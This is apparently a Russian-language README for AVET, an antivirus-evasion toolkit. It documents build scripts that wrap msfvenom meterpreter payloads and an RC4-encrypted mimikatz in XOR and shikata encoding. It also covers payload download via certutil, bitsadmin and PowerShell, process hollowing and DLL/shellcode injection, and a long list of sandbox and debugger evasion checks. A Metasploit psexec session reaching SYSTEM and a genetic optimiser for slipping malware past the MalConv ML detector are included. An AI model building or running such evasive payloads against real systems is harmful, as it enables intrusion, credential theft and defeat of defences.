
Инструмент обхода антивируса
AVET — это инструмент для обхода антивирусов, разработанный для упрощения жизни пентестерам и для экспериментов с методами обхода антивирусов, а также другими методами, используемыми вредоносным ПО. Обзор новых функций в v2.4, а также предыдущих версий можно найти в файле CHANGELOG.
Не все техники обходят каждый антивирусный движок. Если одна техника или сборочный скрипт не работают, попробуйте другую. Не стесняйтесь экспериментировать! В конце концов, это набор инструментов — но молотом всё же нужно владеть самому.
Инструкция по установке предназначена для Kali 64bit и tdm-gcc!
Вы можете использовать скрипт установки:```bash ./setup.sh
Это должно автоматически помочь вам начать, установив/настроив wine и установив tdm-gcc.
Вам вскоре придётся пройти через графический интерфейс установщика tdm-gcc — стандартные настройки должны подойти.
Скрипт также спросит, хотите ли вы установить зависимости AVET, которые необходимы для использования некоторых сборочных скриптов. Загруженные зависимости будут помещены в отдельные папки рядом с папкой avet.
Зависимости загрузят последние версии:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
Если по какой-либо причине вы хотите установить wine и tdm-gcc вручную:
- [Как установить tdm-gcc с помощью wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
Если вы не используете Kali или не хотите устанавливать Metasploit на свою систему, вы можете вместо этого использовать Docker-контейнер.
Контейнер содержит Metasploit и avet, а примеры будут созданы в вашей текущей директории.
Также можно использовать графический текстовый редактор, например gedit.
Сборка контейнера:```bash
sudo docker build -t avet:v0.1 .
Использование:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
Для лучшего опыта рекомендуется создать алиас для этого.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py — это небольшая утилита на Python, предназначенная для упрощения работы с инструментом.
Она выводит список всех скриптов, находящихся в папке build. После выбора одного из них вы сможете построчно пройти по скрипту, имея возможность изменять содержимое на лету.
Последнее особенно полезно, так как вы можете каждый раз задавать новые переменные LHOST и LPORT для msfvenom при запуске скрипта сборки через fabric.
Вы можете задать значения LHOST и LPORT по умолчанию в файле /build/global_connect_config.sh, которые будут использоваться, если вы их не переопределите.
Эти изменения временны, то есть любые внесённые вами правки не сохраняются в скрипте сборки на диске. Изменённая версия выполняется один раз, и ваш исполняемый файл собирается.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET обычным способом
Разумеется, можно запускать все команды пошагово из командной строки. Однако в папке "build" вы найдёте предварительно настроенные сценарии сборки для соответствующих вариантов использования.
Сами сценарии сборки написаны таким образом, что их необходимо вызывать из директории avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
Вы можете задать значения по умолчанию для LHOST и LPORT в файле /build/global_connect_config.sh, которые будут использоваться, если вы не переопределите их.
Создание исполняемого файла с внедрением в 32-битный процесс в два этапа (как в build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
Сначала сгенерируйте полезную нагрузку для внедрения с помощью AVET:
Затем создайте исполняемый файл-"дроппер", который доставляет полезную нагрузку первого этапа через внедрение:
Таким образом, вы получаете двухуровневую проверенную на окружение и зашифрованную полезную нагрузку meterpreter, внедрённую в выбранный вами процесс. Хотя настройки в скрипте сборки в основном демонстрационные, существует большая гибкость для настройки создаваемого исполняемого файла путём простых изменений в скрипте сборки.
Вы можете менять методы получения данных: вместо статической компиляции большинства данных в исполняемый файл вы можете загружать полезную нагрузку для внедрения через PowerShell, скачать ключ дешифровки через сокеты, использовать другое шифрование или проверки окружения и т.д.
Или попробуйте добавить больше уровней обхода, выполнив третью итерацию сборки. Или замените полезную нагрузку. Хотите использовать Mimikatz? Преобразуйте его в шелл-код с помощью https://github.com/hasherezade/pe_to_shellcode и измените полезную нагрузку в скрипте сборки.
Конечно, вы также можете создавать более минималистичные сборки, например, выполнять незашифрованный шелл-код только с одной проверкой окружения, или, возможно, 50 итераций shikata будет достаточно для достижения вашей цели? Выбирайте/изменяйте скрипты сборки в соответствии с вашими потребностями.
Ниже приведён список всех поставляемых в данный момент скриптов сборки. Названия должны намекать на функциональность каждого скрипта. Для подробной информации обратитесь к комментариям внутри скриптов. Не стесняйтесь изменять/писать свои собственные скрипты сборки для создания вашего исполняемого файла!
Эти методы совместимы со всеми источниками данных AVET и могут использоваться как таковые в скрипте сборки.
Несколько примеров:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
Если функции пропущены/не используются, вместо этого необходимо указать поведение, подобное NOP:```
set_command_source no_data
set_command_exec no_command
Данные извлекаются из файла и статически компилируются в сгенерированный исполняемый файл. Для этого данные должны быть предоставлены в виде c-style массива во время компиляции, например``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
Данные статически компилируются в создаваемый исполняемый файл, извлекаются из указанного аргумента в скрипте сборки.
#### dynamic_from_file
Данные считываются из файла во время выполнения.
#### from_command_line_hex
Извлекает данные из шестнадцатеричной строки формата "11aabb22.." (из командной строки).
#### from_command_line_raw
Извлекает данные из аргумента командной строки. Заданная ASCII-строка интерпретируется как необработанные байтовые данные.
#### download_certutil
Загружает данные с указанного URI с помощью ```certutil.exe -urlcache -split -f```.
Сохраняет загруженный файл на диск перед чтением данных.
#### download_curl
Загружает данные с помощью curl.
Сохраняет загруженный файл на диск перед чтением данных.
#### download_internet_explorer
Загружает данные с указанного URL с помощью Internet Explorer.
Сохраняет загруженный файл на диск перед чтением данных.
#### download_powershell
Загружает данные с указанного URI через powershell.
Сохраняет загруженный файл на диск перед чтением данных.
#### download_socket
Загружает данные с указанного URI с помощью сокетов.
Данные считываются напрямую в память, файл на диск не сохраняется.
#### download_bitsadmin
Загружает данные с помощью утилиты Windows BITSAdmin.
Сохраняет загруженный файл на диск перед чтением данных.
### Методы выполнения полезной нагрузки
Как выполнить/доставить полезную нагрузку. Методы внедрения/опустошения требуют дополнительной информации о цели внедрения, которую можно указать с помощью ```set_payload_info_source <the_info>``` (см. методы извлечения данных).
#### exec_shellcode
Выполняет 32-битный шелл-код с привязкой к функции C.
#### exec_shellcode64
Выполняет 64-битный шелл-код с привязкой к функции C и VirtualProtect.
#### exec_shellcode_ASCIIMSF
Выполняет шелл-код, закодированный в ASCIIMSF, с помощью ```call eax```.
#### hollowing32
Создаёт новый процесс, вырезает исходный образ и внедряет заданную полезную нагрузку в новый процесс.
Полезная нагрузка — 32-битный исполняемый образ. Работает на 32-битных целях.
#### hollowing64
То же, что и hollowing32, но с использованием 64-битных PE-нагрузок для 64-битных целевых процессов.
#### inject_dll
Внедряет DLL в целевой процесс с помощью ```CreateRemoteThread```.
Внедрение работает для 32-битных нагрузок в 32-битные процессы и для 64-битных нагрузок в 64-битные процессы соответственно.
#### inject_shellcode
Внедряет шелл-код в целевой процесс с помощью ```CreateRemoteThread```.
Внедрение работает для 32-битного шелл-кода в 32-битные процессы и для 64-битного шелл-кода в 64-битные процессы соответственно.
### Шифрование и кодирование
AVET предоставляет кодировщики для каждой схемы, которые могут быть применены к полезной нагрузке до компиляции/доставки.
Во время выполнения указанный декодер снова деобфусцирует полезную нагрузку во время выполнения.
Вот пример RC4, где ключ дешифрования извлекается из командной строки в шестнадцатеричном формате во время выполнения:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
Вы также можете пропустить функцию кодирования, не кодируя дополнительно shellcode, и установить:``` set_key_source no_data set_decoder none
#### xor
Rolling XOR, поддерживающий многосимвольные ключи.
#### avet
Пользовательское кодирование, переосмысливающее формат ASCII.
#### rc4
Шифрование/дешифрование RC4 с гибкой длиной ключа.
### Обход отладчика и песочницы
Это проверки окружения, которые выполняются перед финальным кодированием и выполнением полезной нагрузки.
Если обнаружена нежелательная среда выполнения (например, песочница антивируса), выполнение останавливается.
В настоящее время можно поставить в очередь до 10 произвольных проверок. Поддерживается многократное использование одной и той же техники.
Ограничение очереди *EVASION_ARRAY_SIZE* можно легко изменить в *avet.c*.
#### is debugger present
Проверка с помощью функции isDebuggerPresent(), присутствует ли отладчик.
Выход, если истина.```
add_evasion is_debugger_present
Ожидание в течение определенного времени перед выполнением. Длительность(в секундах) может быть указана в скрипте сборки, например```
add_evasion evasion_by_sleep 3
#### sleep by ping
Остановка выполнения программы на заданное количество секунд путем вызова команды ping с таймером на localhost. Программа выполняет ping один раз в секунду.```
add_evasion sleep_by_ping 4
Проверяет, использует ли песочница быструю перемотку для сокращения времени эвристической проверки. Используется локальное время и sleep.``` add_evasion check_fast_forwarding
#### get tickcount
Проверяет, использует ли песочница быструю перемотку для уменьшения времени эвристической проверки. Используются время работы и сон.```
add_evasion get_tickcount
Получить имя пользователя и сравнить с заданным. Выход, если не совпадает.``` add_evasion has_username 'IEUser'
#### Messagebox
Породить простое Messagebox перед выполнением. Если арифметика не решена правильно, программа завершается.```
add_evasion interaction_msg_box
Ожидание ввода с помощью getchar.``` add_evasion interaction_getchar
#### пауза системы
Выполняет system("pause"), заставляя порожденный cmd (и наш основной процесс) ждать нажатия любой клавиши.```
add_evasion interaction_system_pause
Проверяет существование файла. Если не найден, останавливает выполнение. Имя файла может быть указано в сценарии сборки, например``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### информация о BIOS
Проверяет, можно ли получить таблицу прошивки SMBIOS. Если нет, выполнение прекращается.```
add_evasion get_bios_info
Попробуйте разрешить имя хоста по вашему выбору. Если gethostbyname возвращает не NULL, выполнение останавливается. Имя хоста для проверки можно указать в скрипте сборки, например``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
Проверяет количество ядер процессора на целевой системе. Если количество меньше указанного значения, выполнение прекращается.```
add_evasion get_cpu_cores 2
Проверяет префиксы MAC-адресов, специфичные для вендора. Если какие-либо идентифицированы, останавливает выполнение.``` add_evasion has_vm_mac
#### has_vm_regkey
Проверяет наличие реестровых ключей, специфичных для вендора. Если какие-либо обнаружены, останавливает выполнение.```
add_evasion has_vm_regkey
Не совсем техника уклонения, но скрывает окно консоли ;)``` add_evasion hide_console
#### Installation Date
Получить дату установки Windows и сравнить ее с указанной. Если даты не совпадают, остановить выполнение. Дату необходимо указать в формате дд/мм/гггг.```
add_evasion get_install_date '24/11/2007'
Подсчитайте количество запущенных процессов. Если количество процессов меньше заданного порогового значения, остановите выполнение.``` add_evasion get_num_processes 50
#### Стандартный браузер
Прочитайте Registry Key, чтобы получить браузер по умолчанию. Если браузер не совпадает с заданным значением, остановите выполнение. Возможные значения: MSEdgeHTM, Firefox или ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
Запрашивает DNS-домен, в котором находится цель. Если цель не находится в ожидаемом домене, как указано, программа завершается.``` add_evasion get_computer_domain 'domain.com'
#### Вычисления
Fibonacci
Вычисляет указанное количество итераций ряда Фибоначчи.
Вероятно, выдаст неверные результаты для больших n из-за ограничений целых чисел.```
# 10 iterations
add_evasion computation_fibonacci 10
Таймированный Фибоначчи
Останавливает вычисления Фибоначчи после приблизительно указанного количества секунд.```
add_evasion computation_timed_fibonacci 20
#### Папки и другое
Проверьте, существует ли артефакт, и остановите выполнение, если нет. Пути должны быть в стиле Unix.
Фоновые обои:```
add_evasion has_background_wp
Проверка наличия папки:``` add_evasion has_folder 'C:/Users/user/Downloads/'
Проверка общедоступного рабочего стола:```
add_evasion has_public_desktop
Проверить корзину``` add_evasion has_recycle_bin
Проверить папку с недавними файлами```
add_evasion has_recent_files
Проверить наличие сетевого диска``` add_evasion has_network_drive
### Дополнительное выполнение команд
Предоставляет возможность выполнить дополнительную полезную нагрузку cmd/powershell сразу после функций обхода песочницы.
Источник полезной нагрузки совместим с методами извлечения данных AVET.
Следующий пример загружает полезную нагрузку powershell через BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
Принимает необработанные данные из файла, преобразует их в формат C-массива и записывает результат в другой файл. Это помогает обеспечить правильный формат для метода получения данных static_from_file.
Утилита генерации ключей. Создает либо (некриптографический) случайный ключ, либо принимает предустановленный ключ на вход и выводит исходные данные ключа в указанный файл. Это помогает обеспечить материал ключа для функции шифрования AVET.
Утилита из AVET 1.3, выполняющая кодирование AVET.
AVET совместим с модулем psexec metasploit. Для этого сгенерированный исполняемый файл должен быть скомпилирован как служба Windows, что реализуется с помощью avetsvc.c. Рассмотрим соответствующий пример сценария сборки
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
И на стороне metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
Состязательные примеры — это специально созданные входные данные, предназначенные для того, чтобы заставить модели машинного обучения ошибаться в классификации.
Для использования этого метода создайте виртуальное окружение и установите необходимые зависимости из requirements.txt.
Доступно пять манипуляций, сохраняющих функциональность PE-файлов:

Чтобы применить практическую манипуляцию к вредоносному ПО со вставленными случайными байтами, используйте команду gen_adversarial_exe, после которой укажите название практической манипуляции и путь к файлу в качестве параметров.
Доступные манипуляции: full_dos, extend, shift, padding, section_injection.
Например:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### Генетическая оптимизация
Вместо внедрения случайного контента можно оптимизировать его для достижения более высокой вероятности обхода детекции.
Оптимизатор извлекает безвредные секции из легитимного ПО (goodware) и использует генетический алгоритм для оптимизации внедряемого контента.
Контент оптимизируется против MalConv — статического детектора на основе машинного обучения, использующего сверточную нейронную сеть.
Используемая реализация MalConv взята из библиотеки [SecML Malware](https://github.com/pralab/secml_malware).
Необходимо наличие легитимного ПО (goodware), которое следует поместить в папку `input/goodware_samples`.
Например, [DikeDataset](https://github.com/iosifache/DikeDataset) является хорошим источником для получения безвредных исполняемых файлов. Чем больше, тем лучше, но для тестирования достаточно 100.
Чтобы использовать оптимизатор, выполните команду `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
Возможные варианты:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
Больше о состязательных примерах, генетической оптимизации и MalConv можно прочитать здесь:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## Подробнее
---
Основы обхода антивирусов, AVET и дополнительная информация — смотрите здесь (в основном для версии 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)